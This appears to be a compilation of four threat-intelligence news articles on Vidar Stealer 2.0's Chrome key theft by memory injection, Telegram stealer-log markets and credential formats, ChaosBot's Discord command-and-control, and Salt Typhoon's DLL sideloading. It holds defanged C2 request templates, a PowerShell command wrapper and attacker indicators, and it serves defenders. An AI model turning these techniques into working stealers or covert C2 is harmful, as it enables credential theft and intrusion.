A sophisticated information-stealing malware known as Vidar Stealer has undergone a complete architectural transformation with the release of version 2.0, introducing advanced capabilities that enable it to bypass Chrome’s latest security protections through direct memory injection techniques.

Released on October 6, 2025, by its developer “Loadbaks” on underground forums, this new iteration features a complete rewrite from C++ to pure C, implementing a multithreaded architecture that significantly enhances its data exfiltration speed and evasion capabilities.

The timing of Vidar 2.0’s emergence coincides with a notable decline in Lumma Stealer activity, positioning Vidar as a potential successor in the information stealer ecosystem.

Priced at $300 for lifetime access, the malware offers cybercriminals a cost-effective yet powerful toolset capable of systematically targeting credentials from browsers, cryptocurrency wallets, cloud services, gaming platforms, and communication applications including Discord and Telegram.

The malware’s enhanced anti-analysis measures and sophisticated credential extraction methods represent a concerning evolution in the information stealer threat landscape.

Vidar originally emerged in 2018 on Russian-language underground forums, initially leveraging the Arkei stealer source code.

Over the years, it has distinguished itself from competitors like Raccoon and RedLine through consistent updates supporting new browsers, wallets, and two-factor authentication applications.

Trend Micro analysts identified that the latest version introduces four significant architectural changes: a complete C language rewrite for enhanced stability and speed, a multithreaded system that dynamically scales based on victim computer specifications, advanced browser credential extraction capabilities, and an automatic polymorphic builder that generates unique binary signatures for each build.

The multithreaded architecture represents one of Vidar 2.0’s most significant enhancements, allowing the malware to perform data collection tasks across multiple parallel threads.

This system automatically adjusts performance by creating more worker threads on powerful systems and fewer threads on weaker machines, ensuring optimal operation without overwhelming the target.

The parallel processing significantly reduces the time the malware needs to remain active on compromised systems, making detection and intervention by security software substantially more challenging.

Chrome AppBound Encryption Bypass Through Memory Injection

Vidar 2.0’s most notable technical achievement involves its capability to bypass Chrome’s AppBound encryption protections through sophisticated memory injection techniques.

According to the developer, the malware has “implemented unique appBound methods that aren’t found in the public domain,” specifically targeting Chrome’s enhanced security measures designed to prevent unauthorized credential extraction by binding encryption keys to specific applications.

This represents a direct challenge to Chrome’s latest security enhancements aimed at protecting user credentials from information stealers.

The malware employs a tiered approach to browser credential extraction, initially attempting traditional methods such as systematic enumeration of browser profiles and extraction of encryption keys from Local State files using standard DPAPI decryption.

When these conventional techniques fail against Chrome’s AppBound encryption, Vidar 2.0 escalates to an advanced technique that launches target browsers with debugging enabled and injects malicious code directly into running browser processes using either shellcode or reflective DLL injection.

The injected payload operates entirely within browser memory, extracting encryption keys directly from the active process address space rather than attempting to decrypt them from storage.

This memory-based approach effectively circumvents Chrome’s AppBound encryption because it steals keys that are already decrypted and in use by the legitimate browser process.

The stolen encryption keys are then communicated back to the main malware process via named pipes, a technique that avoids creating disk artifacts that could be detected by forensic analysis or security software.

This dual-pronged extraction strategy targeting both traditional browser storage methods and Chrome’s latest protections across multiple browser platforms including Chrome, Firefox, Edge, and other Chromium-based browsers demonstrates the malware’s comprehensive approach to credential theft.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Vidar Stealer Bypassing Browser Security Via Direct Memory Injection to Steal Login Credentials appeared first on Cyber Security News.

The stealer malware ecosystem has evolved into a sophisticated criminal enterprise capable of processing hundreds of millions of credentials daily.

Over the past several years, threat actors have transformed the landscape of credential theft through specialized malware families and underground distribution platforms.

These information-stealing operations now represent one of the most significant threats to digital security, with criminal networks establishing complex hierarchies to manage the harvest and distribution of stolen authentication data.

Recent investigations into the stealer log ecosystem have revealed an alarming scale of operations. A single Telegram account monitored by security researchers was observed ingesting as many as 50 million credentials within a 24-hour period.

The infrastructure supporting these operations has grown increasingly sophisticated, with threat actors utilizing messaging platforms, particularly Telegram, as their primary distribution channel.

These platforms serve as marketplaces where stolen data is bought, sold, and freely shared among criminal communities.

The criminal ecosystem operates through a tiered structure consisting of three primary groups. Primary sellers manage key operations and maintain both public channels where stealer logs are shared and paid private channels offering premium access to clients.

Aggregators collect stealer logs from multiple sources and redistribute them through their channels, often providing search capabilities for victims across specific sites.

Traffers work in cooperation with primary sellers to spread malware, occasionally operating their own channels to demonstrate their effectiveness.

Synthient analysts identified this hierarchical structure while monitoring the platforms and building systems to ingest shared data in hopes of helping victims.

The motivations driving these operations vary across groups. While primary sellers focus on monetizing stolen credentials through subscription models, aggregators often leak data publicly to gain attention and reputation within criminal communities.

This creates a complex web where the same stolen credentials may appear across multiple channels in various formats.

Some channels advertise access to billions of credential lines, with pricing models ranging from weekly subscriptions at 60 dollars to lifetime access for 600 dollars, demonstrating the commercialization of cybercrime.

The volume of credentials flowing through these channels has reached staggering proportions. Analysis of one major operation revealed that over the course of monitoring, researchers indexed approximately 30 billion Telegram messages and parsed 80 billion credentials.

During peak activity periods, the system processed 600 million credentials in a single day and indexed 1.2 billion messages within the same timeframe.

Technical Infrastructure and Data Formats

The technical implementation of stealer log distribution presents unique challenges for both criminals and researchers.

Threat actors employ multiple credential formats depending on the malware family and distribution method. The most common formats include simple combolist structures using delimiters such as colons, semicolons, or pipes to separate email addresses and passwords.

More sophisticated formats follow URL-Login-Password conventions, while stealer logs from actual malware infections contain structured data with labeled fields.

# ComboList
email: password
email; password
email|password

# ULP
url:login:password
url|login|password

# Stealer
URL:
Login:
Password:

The inconsistency in data formats creates operational challenges for aggregators attempting to consolidate stolen credentials.

Synthient researchers noted that aggregators often merge multiple files from different resellers, creating what they described as “pseudo-unique abominations” that combine various credential formats.

This complexity is further compounded when primary sellers password-protect their archives with links to their channels, preventing aggregators from easily claiming credit for the data.

The technical hurdles require sophisticated parsing systems capable of identifying and processing credentials regardless of their original format or packaging method.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Threat Actors With Stealer Malwares Processing Millions of Credentials a Day appeared first on Cyber Security News.

A sophisticated new threat has emerged in the cybersecurity landscape, leveraging the popular communication platform Discord to conduct covert operations.

ChaosBot, a Rust-based malware strain, represents an evolution in adversarial tactics by hiding malicious command and control traffic within legitimate cloud service communications.

This approach allows attackers to blend seamlessly into normal network traffic, making detection significantly more challenging for traditional security solutions.

The malware operates through a carefully orchestrated infection chain that begins with either compromised VPN credentials or phishing campaigns using malicious Windows shortcut files.

Once executed, ChaosBot establishes persistent access by validating its Discord bot token and creating a dedicated private channel named after the victim’s computer.

This channel becomes an interactive command shell where attackers issue commands such as shell, download, and scr (screenshot), with results exfiltrated back as attached files through Discord’s API.

Picussecurity researchers identified the malware’s sophisticated evasion capabilities, which include patching the Windows Event Tracing (ETW) function to blind endpoint detection systems and performing anti-virtualization checks against known MAC address prefixes for VMware and VirtualBox environments.

These techniques demonstrate a deliberate effort to evade analysis in sandboxed security research environments.

Discord-Based Command and Control Infrastructure

ChaosBot’s technical implementation reveals a well-engineered C2 protocol built entirely on Discord’s API infrastructure.

Written in Rust and utilizing the reqwest or serenity library, the malware maintains communication through standard HTTPS requests that appear identical to legitimate Discord traffic.

Upon initial execution, ChaosBot validates its embedded bot token with a GET request to hxxps://discord[.]com/api/v10/users/@me.

Following successful authentication, it creates a victim-specific channel using a POST request:-

POST hxxps://discord[.]com/api/v10/guilds/<THREAT_ACTOR_GUILD_ID>/channels 
{"name":"<VICTIM_COMPUTER_NAME>","type":0}

Command execution relies on a continuous polling mechanism that checks for new messages in the victim’s channel.

When operators issue shell commands, ChaosBot forces UTF8 encoding through PowerShell: powershell -Command "$OutputEncoding = [System.Text.Encoding]::UTF8; <SOME_COMMAND>".

The command output, screenshots, or downloaded files are then uploaded back to Discord as multipart/form-data attachments, creating a fully functional remote access capability through a platform trusted by most corporate firewalls and security appliances.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New Rust-Based ChaosBot Malware Leverages Discord for Stealthy Command and Control appeared first on Cyber Security News.

Salt Typhoon, a China-linked advanced persistent threat (APT) group active since 2019, has emerged as one of the most sophisticated cyber espionage operations targeting global critical infrastructure.

Also tracked as Earth Estries, GhostEmperor, and UNC2286, the group has conducted high-impact campaigns against telecommunications providers, energy networks, and government systems across more than 80 countries.

The threat actor leverages zero-day exploits in edge devices including Ivanti, Fortinet, and Cisco appliances to establish initial access, while employing DLL sideloading techniques to maintain stealth and evade traditional signature-based detection mechanisms.

Recent intrusions demonstrate an alarming capability to compromise lawful intercept systems and exfiltrate metadata affecting millions of users.

The group’s operations blend intelligence collection with geopolitical influence, exposing the strategic nature of state-sponsored cyber campaigns.

DarkTrace analysts identified early-stage intrusion activity in a European telecommunications organization during July 2025, observing tactics consistent with Salt Typhoon’s known procedures.

The intrusion began with exploitation of a Citrix NetScaler Gateway appliance, allowing the threat actor to pivot to Citrix Virtual Delivery Agent hosts within the organization’s Machine Creation Services subnet.

Initial access originated from infrastructure potentially associated with the SoftEther VPN service, demonstrating infrastructure obfuscation from the outset.

DLL Sideloading and Persistence Mechanisms

The technical sophistication of Salt Typhoon’s operations becomes evident through their systematic abuse of legitimate software for malicious purposes.

DarkTrace researchers observed the delivery of SNAPPYBEE backdoor, also known as Deed RAT, to multiple internal endpoints as DLL files accompanied by legitimate executable files from trusted antivirus solutions.

The threat actor specifically targeted Norton Antivirus, Bkav Antivirus, and IObit Malware Fighter executables to facilitate DLL side-loading operations.

This technique enabled the group to execute malicious payloads under the guise of trusted security software, effectively bypassing traditional security controls.

The backdoor established command-and-control communications through LightNode VPS endpoints, utilizing both HTTP and an unidentified TCP-based protocol.

HTTP communications featured POST requests with distinctive URI patterns such as “/17ABE7F017ABE7F0”, connecting to the domain aar.gandhibludtric[.]com (38.54.63[.]75), recently linked to Salt Typhoon infrastructure.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Salt Typhoon Using Zero-Day Exploits and DLL Sideloading Techniques to Attack Organizations appeared first on Cyber Security News.